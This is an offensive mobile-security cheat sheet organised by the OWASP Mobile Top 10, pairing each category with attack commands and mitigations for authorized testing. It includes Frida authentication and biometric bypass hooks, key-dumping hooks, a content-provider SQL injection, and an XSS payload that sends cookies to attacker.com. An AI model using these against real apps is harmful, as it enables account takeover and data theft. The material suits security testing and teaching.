OWASP-MOBILE-TOP10
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Based on OWASP Mobile Top 10 (2024 edition). Each category includes description, attack vectors, exploitation tools, and mitigations.
M1 - IMPROPER CREDENTIAL USAGE#
Description:
Hardcoded credentials, API keys, and secrets embedded in the app
binary, source code, or configuration files.
Attack vectors:
- Reverse engineering APK/IPA to find hardcoded secrets
- Extracting API keys from strings, resources, or native libs
- Credential stuffing using discovered service accounts
- Abusing shared credentials across environments (dev/prod)
Exploitation:
# Extract strings from binary
strings app.apk | grep -iE "api.key|secret|password|token|bearer"
strings AppBinary | grep -iE "aws|firebase|azure|stripe"
# JADX decompilation search
jadx -d output/ app.apk
grep -rn "API_KEY\|SECRET\|PASSWORD\|apikey" output/
# Frida runtime extraction
Java.perform(function() {
var BuildConfig = Java.use("com.example.app.BuildConfig");
console.log("API_KEY: " + BuildConfig.API_KEY.value);
});
# Check Firebase misconfig
curl https://<project>.firebaseio.com/.json
Tools: JADX, apktool, strings, Frida, truffleHog, GitLeaks
Mitigation:
- Never hardcode credentials in source code
- Use secure key management (Android Keystore, iOS Keychain)
- Implement server-side API key management
- Use environment-specific configuration
- Rotate credentials regularly
- Use obfuscation as defense in depth (not sole protection)
M2 - INADEQUATE SUPPLY CHAIN SECURITY#
Description:
Vulnerabilities introduced through third-party libraries, SDKs,
or compromised development/build pipelines.
Attack vectors:
- Exploiting known CVEs in outdated dependencies
- Malicious SDKs or libraries (typosquatting, supply chain attacks)
- Compromised build pipelines injecting malicious code
- Insecure update mechanisms
Exploitation:
# Identify third-party libraries
apktool d app.apk -o decoded/
ls decoded/smali/ # look for third-party packages
cat decoded/lib/ # native libraries
# Check for known vulnerabilities
# Extract dependencies from build files
grep -r "implementation\|compile" build.gradle
# Check versions against NVD/CVE databases
# Analyze SDKs
# Look for analytics/tracking SDKs sending data
# Check network traffic for unexpected data exfiltration
Tools: OWASP Dependency-Check, Snyk, RetireJS, npm audit,
MobSF (lists libraries), Exodus Privacy (tracking SDKs)
Mitigation:
- Maintain software bill of materials (SBOM)
- Regularly update dependencies
- Use SCA (Software Composition Analysis) tools
- Verify integrity of downloaded libraries
- Review SDK permissions and data collection
- Implement secure CI/CD pipeline with signing
M3 - INSECURE AUTHENTICATION / AUTHORIZATION#
Description:
Weak authentication mechanisms or broken authorization allowing
unauthorized access or privilege escalation.
Attack vectors:
- Bypassing client-side authentication checks
- Missing server-side authorization validation
- Weak biometric implementation (bypassed via Frida)
- Token manipulation and replay attacks
- IDOR (Insecure Direct Object Reference) on APIs
Exploitation:
# Bypass login with Frida
Java.perform(function() {
var LoginActivity = Java.use("com.example.app.LoginActivity");
LoginActivity.isAuthenticated.implementation = function() {
return true;
};
});
# Bypass biometric authentication
Java.perform(function() {
var cb = Java.use("android.hardware.biometrics.BiometricPrompt$AuthenticationCallback");
cb.onAuthenticationSucceeded.implementation = function(result) {
console.log("[*] Biometric bypassed");
this.onAuthenticationSucceeded(result);
};
});
# Test IDOR on API
# Change user ID in request: /api/users/123/profile -> /api/users/124/profile
# Modify JWT token claims
# Use Burp Suite Autorize extension
# JWT manipulation
# Decode: echo "<token>" | base64 -d
# Modify claims, re-sign with none algorithm or known weak key
Tools: Burp Suite (Autorize, JWT Editor), Frida, Objection, MobSF
Mitigation:
- Implement server-side authentication and authorization
- Never rely solely on client-side checks
- Use strong session management (short-lived tokens)
- Implement proper RBAC/ABAC on backend
- Use PKCE for OAuth flows
- Implement certificate pinning for auth endpoints
M4 - INSUFFICIENT INPUT/OUTPUT VALIDATION#
Description:
Failure to properly validate, sanitize, or encode data flowing
into or out of the mobile application.
Attack vectors:
- SQL injection via mobile app inputs
- XSS in WebView components
- Path traversal in file operations
- Command injection
- XML/JSON injection
- Buffer overflow in native code
Exploitation:
# SQL injection in content provider
adb shell content query --uri content://com.example.app.provider/users \
--where "1=1) UNION SELECT username,password FROM credentials--"
# XSS in WebView
# If WebView loads user input:
adb shell am start -n com.example.app/.WebViewActivity \
-d "https://evil.com/<script>document.location='http://attacker.com/?c='+document.cookie</script>"
# Path traversal
# Manipulate file paths in requests: ../../etc/passwd
# Content provider path traversal: content://com.example.app/../../etc/hosts
# Test with Burp Suite
# Inject payloads in all input fields
# Monitor WebView for JavaScript execution
Tools: Burp Suite, sqlmap, Drozer (content providers), adb
Mitigation:
- Validate all input on server side
- Use parameterized queries for database access
- Sanitize HTML/JavaScript in WebView content
- Implement allowlists for file paths
- Use ContentProvider with proper permissions
- Disable JavaScript in WebView if not needed
- Encode output appropriately for context
M5 - INSECURE COMMUNICATION#
Description: Failure to protect data in transit, including missing encryption, weak TLS configuration, or absent certificate validation. Attack vectors: - Man-in-the-middle on unencrypted HTTP traffic - SSL stripping attacks - Missing or weak certificate pinning - Accepting self-signed or invalid certificates - Data leakage via DNS queries Exploitation: # MITM with mitmproxy mitmproxy -p 8080 # Configure device proxy # Check for cleartext traffic # Android: check network_security_config.xml # Look for: cleartextTrafficPermitted="true" # SSL strip with bettercap bettercap -T <target_ip> --proxy-module sslstrip # Certificate pinning bypass (see MOBILE-PENTESTING.txt) objection -g com.example.app explore android sslpinning disable # Check for sensitive data in HTTP # Monitor: auth tokens, PII, credentials, session IDs in URLs Tools: Burp Suite, mitmproxy, Wireshark, bettercap, Frida, Objection Mitigation: - Use TLS 1.2+ for all communications - Implement certificate pinning - Set android:usesCleartextTraffic="false" - Configure ATS on iOS (no exceptions) - Use HSTS headers on server - Validate certificate chain properly - Don't transmit sensitive data in URL parameters
M6 - INADEQUATE PRIVACY CONTROLS#
Description:
App collects, processes, or shares more personal data than
necessary, or fails to protect user privacy.
Attack vectors:
- Excessive data collection (location, contacts, clipboard)
- PII leakage through logs, crash reports, analytics
- Third-party SDK data harvesting
- Insufficient data anonymization
- Missing privacy notices or consent
Exploitation:
# Monitor data sent to analytics
mitmproxy -p 8080 -s log_analytics.py
# Filter for: firebase, amplitude, mixpanel, facebook domains
# Check clipboard access
objection -g com.example.app explore
android clipboard monitor
# Examine log output for PII
adb logcat | grep -iE "email|phone|ssn|credit|name|address"
# Check data stored locally
adb shell run-as com.example.app find . -name "*.db" -o -name "*.xml" -o -name "*.json"
# Examine for PII in plaintext
# iOS: Check pasteboard, NSLog output, screenshots
Tools: mitmproxy, adb logcat, Objection, Exodus Privacy,
AppCensus, MobSF
Mitigation:
- Implement data minimization (collect only what's needed)
- Provide clear privacy notices and obtain consent
- Anonymize/pseudonymize data before analytics
- Audit third-party SDK data collection
- Disable logging in production builds
- Implement data retention policies
- Comply with GDPR, CCPA, and other regulations
M7 - INSUFFICIENT BINARY PROTECTIONS#
Description: Lack of protections against reverse engineering, tampering, and code analysis of the application binary. Attack vectors: - Reverse engineering to understand business logic - Code patching/tampering (smali modification) - Debugging and runtime manipulation - Repackaging with malicious code - Memory dumping and analysis Exploitation: # Decompile and analyze apktool d app.apk -o decoded/ jadx app.apk -d java_src/ # Check for obfuscation # If class/method names are readable -> no obfuscation # ProGuard/R8 renames to a, b, c, etc. # Debug the app adb shell am set-debug-app -w com.example.app # Attach with Android Studio or jdb # Patch and repackage # Modify smali code (see MOBILE-REVERSE-ENG.txt) apktool b decoded/ -o patched.apk apksigner sign --ks test.keystore patched.apk # iOS: class-dump to extract headers class-dump AppBinary > headers.txt Tools: apktool, JADX, Ghidra, IDA, Frida, r2, class-dump Mitigation: - Apply code obfuscation (ProGuard/R8, DexGuard, iXGuard) - Implement integrity checks (verify APK signature at runtime) - Use anti-debugging techniques (ptrace, timing checks) - Implement anti-tampering (checksum verification) - Use root/jailbreak detection - Move sensitive logic to server side - Use native code for critical functions - Implement RASP (Runtime App Self-Protection)
M8 - SECURITY MISCONFIGURATION#
Description: Default or insecure settings in the app, server, or platform that create security vulnerabilities. Attack vectors: - Debug mode enabled in production - Exported components without proper permissions - Insecure default permissions on files/databases - Backup enabled (android:allowBackup="true") - WebView misconfigurations - Insecure content providers Exploitation: # Check AndroidManifest.xml apktool d app.apk -o decoded/ # Look for: # android:debuggable="true" # android:allowBackup="true" # exported="true" on activities/services/providers/receivers # Access exported activities adb shell am start -n com.example.app/.AdminActivity adb shell am start -n com.example.app/.DebugActivity # Query exported content providers adb shell content query --uri content://com.example.app.provider/ # Extract backup data adb backup -f backup.ab com.example.app # Convert: java -jar abe.jar unpack backup.ab backup.tar # iOS checks # Check Info.plist for ATS exceptions # Check for custom URL schemes handling # Verify entitlements # Drozer (Android component testing) drozer console connect run app.package.attacksurface com.example.app run app.activity.start --component com.example.app .AdminActivity run app.provider.query content://com.example.app.provider/ run scanner.provider.injection -a com.example.app Tools: Drozer, apktool, adb, MobSF, Burp Suite Mitigation: - Set android:debuggable="false" in production - Set android:allowBackup="false" - Don't export components unless necessary - Use android:permission on exported components - Configure WebView securely (disable file access, JS if not needed) - Apply principle of least privilege for permissions - Review and harden network_security_config.xml - Enable ATS on iOS with no unnecessary exceptions
M9 - INSECURE DATA STORAGE#
Description: Sensitive data stored insecurely on the device, accessible to other apps or physical attackers. Attack vectors: - Reading plaintext data from SharedPreferences/NSUserDefaults - Extracting data from unencrypted SQLite databases - Accessing files in external storage (world-readable) - Screenshot/snapshot leakage - Keyboard cache and clipboard data - Backup extraction Exploitation: # Android - SharedPreferences adb shell run-as com.example.app cat shared_prefs/*.xml # Android - SQLite databases adb shell run-as com.example.app sqlite3 databases/app.db ".dump" # Android - External storage adb shell ls /sdcard/Android/data/com.example.app/ # Android - Backup extraction adb backup -apk -shared com.example.app -f backup.ab # iOS - plist files ssh root@<device> cat /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/*.plist # iOS - Keychain keychain-dumper # on jailbroken device objection -g <bundleid> explore ios keychain dump # iOS - SQLite sqlite3 /var/mobile/Containers/Data/Application/<UUID>/Documents/app.db ".dump" # Check for sensitive data in: # - Application logs (adb logcat) # - Cache files # - Cookie stores # - Crash logs # - Screenshot cache (iOS: Library/SplashBoard/Snapshots) Tools: adb, sqlite3, Objection, keychain-dumper, iExplorer, MobSF Mitigation: - Use Android Keystore / iOS Keychain for secrets - Encrypt sensitive local databases (SQLCipher) - Avoid storing sensitive data on device when possible - Set MODE_PRIVATE on SharedPreferences - Disable backups for sensitive apps - Implement screenshot prevention (FLAG_SECURE on Android) - Clear clipboard after use - Use encrypted SharedPreferences (Jetpack Security)
M10 - INSUFFICIENT CRYPTOGRAPHY#
Description:
Use of weak, broken, or improperly implemented cryptographic
algorithms and practices.
Attack vectors:
- Exploiting weak algorithms (MD5, SHA1, DES, RC4)
- Hardcoded encryption keys
- Predictable key generation (weak PRNG)
- ECB mode usage (pattern preservation)
- Missing or improper IV handling
- Custom/homegrown crypto implementations
Exploitation:
# Find crypto usage in decompiled code
grep -rn "DES\|RC4\|MD5\|ECB\|getInstance" java_src/
grep -rn "SecretKeySpec\|Cipher\|MessageDigest" java_src/
grep -rn "AES/ECB\|DESede\|Blowfish" java_src/
# Extract hardcoded keys
grep -rn "new SecretKeySpec\|new IvParameterSpec" java_src/
grep -rn "getBytes()\|\"[A-Za-z0-9+/=]\{16,\}\"" java_src/
# Hook crypto operations with Frida
Java.perform(function() {
var SecretKeySpec = Java.use("javax.crypto.spec.SecretKeySpec");
SecretKeySpec.$init.overload("[B", "java.lang.String").implementation =
function(key, algo) {
console.log("[*] Key: " + Java.use("java.util.Arrays")
.toString(key));
console.log("[*] Algorithm: " + algo);
return this.$init(key, algo);
};
var Cipher = Java.use("javax.crypto.Cipher");
Cipher.doFinal.overload("[B").implementation = function(data) {
console.log("[*] Cipher.doFinal input: " +
Java.use("java.lang.String").$new(data));
var result = this.doFinal(data);
console.log("[*] Cipher.doFinal output: " +
Java.use("java.util.Arrays").toString(result));
return result;
};
});
# Test for:
# - Same ciphertext for same plaintext (ECB or static IV)
# - Predictable keys/IVs
# - Key derivation from short passwords without KDF
Tools: Frida, JADX, MobSF, CryptoAnalyzer, apkleaks
Mitigation:
- Use strong algorithms: AES-256-GCM, ChaCha20-Poly1305
- Use proper key derivation (PBKDF2, Argon2)
- Generate random IVs/nonces for each encryption
- Use AES in GCM or CBC mode (never ECB)
- Store keys in hardware-backed keystore
- Use Android Keystore / iOS Secure Enclave
- Don't implement custom cryptography
- Use well-tested crypto libraries (Tink, CryptoKit)
TESTING METHODOLOGY SUMMARY#
Phase 1: Reconnaissance [ ] Identify app permissions and components [ ] Map API endpoints [ ] Review network traffic Phase 2: Static Analysis [ ] Decompile and review source code [ ] Search for hardcoded secrets [ ] Analyze manifest/plist configuration [ ] Check for vulnerable dependencies Phase 3: Dynamic Analysis [ ] Test authentication and session management [ ] Intercept and modify API requests [ ] Test input validation [ ] Monitor file system and log output [ ] Test with root/jailbreak detection Phase 4: Network Analysis [ ] MITM all traffic [ ] Test certificate pinning [ ] Check for plaintext communication [ ] Analyze API security Phase 5: Reporting [ ] Map findings to OWASP Mobile Top 10 [ ] Assign risk ratings [ ] Provide remediation guidance [ ] Include proof-of-concept
REFERENCES#
- OWASP Mobile Top 10: https://owasp.org/www-project-mobile-top-10/ - OWASP MASTG: https://mas.owasp.org/MASTG/ - OWASP MASVS: https://mas.owasp.org/MASVS/